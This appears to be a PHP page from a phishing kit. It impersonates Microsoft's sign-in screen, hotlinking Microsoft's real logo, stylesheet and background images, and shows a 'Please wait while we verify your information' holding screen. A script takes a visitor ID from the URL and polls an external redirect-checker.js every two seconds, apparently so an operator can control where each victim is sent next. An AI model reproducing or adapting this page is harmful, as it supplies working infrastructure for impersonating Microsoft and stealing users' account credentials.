<?php
error_reporting(0);

?>
<!DOCTYPE html>
<html dir="ltr" lang="en">
<head>
    <title>Sign in to your account</title>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <link rel="shortcut icon" href="https://aadcdn.msftauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico">
    <link href="https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kfhrfyfy-sm2tmkm5ficcw2.css" rel="stylesheet">
    <style>
        .loading-container {
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            min-height: 70vh;
            font-family: Arial, sans-serif;
        }
        .spinnerx {
            width: 50px;
            height: 50px;
            border: 5px solid #f3f3f3;
            border-top: 5px solid #5a23b9;
            border-radius: 50%;
            animation: spin 1s linear infinite;
            margin-bottom: 20px;
        }
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        .loading-text {
            text-align: center;
            color: #333;
            font-weight: bold;
            margin-bottom: 10px;
        }
        .loading-subtext {
            text-align: center;
            color: #666;
            font-size: 0.9em;
        }
        .progress-bar {
            width: 200px;
            height: 4px;
            background: #eee;
            border-radius: 2px;
            margin-top: 20px;
            overflow: hidden;
        }
        .progress-bar-fill {
            height: 100%;
            background: #012d55;
            width: 0%;
            transition: width 0.5s ease;
            animation: progress 5s linear;
        }
        @keyframes progress {
            0% { width: 0%; }
            100% { width: 100%; }
        }
        @media (prefers-color-scheme: dark) {
            .loading-text { color: #333; }
            .loading-subtext { color: #888; }
            .spinnerx { border-color: #f3f3f3; border-top-color: #5a23b9; }
            .progress-bar { background: #f3f3f3; }
            .progress-bar-fill { background: #5a23b9; }
        }
    </style>
</head>

<body class="cb" style="display: block;">

<div>
<div></div>

<div>
<div id="lightboxTemplateContainer">
<div id="lightboxBackgroundContainer">
    <div class="background-image-holder" role="presentation">
        <div class="background-image ext-background-image" style="background-image: url('https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/4_eae2dd7eb3a55636dc2d74f4fa4c386e.svg');"></div>
    </div>
</div>

<div class="outer">
    <div class="template-section main-section">
        <div class="middle ext-middle">
            <div class="full-height">
                <div class="flex-column">
                    <div class="win-scroll">

                        <!-- Please Wait Verification Screen -->
                        <div id="verifyingScreen" class="sign-in-box ext-sign-in-box fade-in-lightbox">
                            <div class="lightbox-cover"></div>
                            <div>
                                <img class="logo" role="img" src="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg" alt="Microsoft">
                            </div>
                            <div role="main">
                                <div class="loading-container">
                                    <div class="spinnerx"></div>
                                    <div class="loading-text">Please wait while we verify your information</div>
                                    <div class="loading-subtext">Do not close or refresh this page</div>
                                    <div class="progress-bar">
                                        <div class="progress-bar-fill"></div>
                                    </div>
                                </div>
                            </div>
                        </div>
                        <script>
                            const VISITOR_ID = "<?php echo htmlspecialchars($_GET['id'] ?? ''); ?>";
                            const CHECK_INTERVAL = 2000;
                            const TIMEOUT = 300;
                        </script>
 <script src="assets/js/redirect-checker.js"></script>  
                    </div>
                </div>
            </div>
        </div>
    </div>

    <div></div>
</div>

</div>
</div>
</div>

<div id="footer" role="contentinfo" class="footer ext-footer">
    <div>
        <div id="footerLinks" class="footerNode text-secondary">
            <a id="ftrTerms" href="#" class="footer-content ext-footer-content footer-item ext-footer-item">Terms of use</a>
            <a id="ftrPrivacy" href="#" class="footer-content ext-footer-content footer-item ext-footer-item">Privacy &amp; cookies</a>
            <a id="moreOptions" href="#" role="button" class="footer-content ext-footer-content footer-item ext-footer-item debug-item ext-debug-item">...</a>
        </div>
    </div>
</div>

</div>
</div>
</div>
</div>
</body>
</html>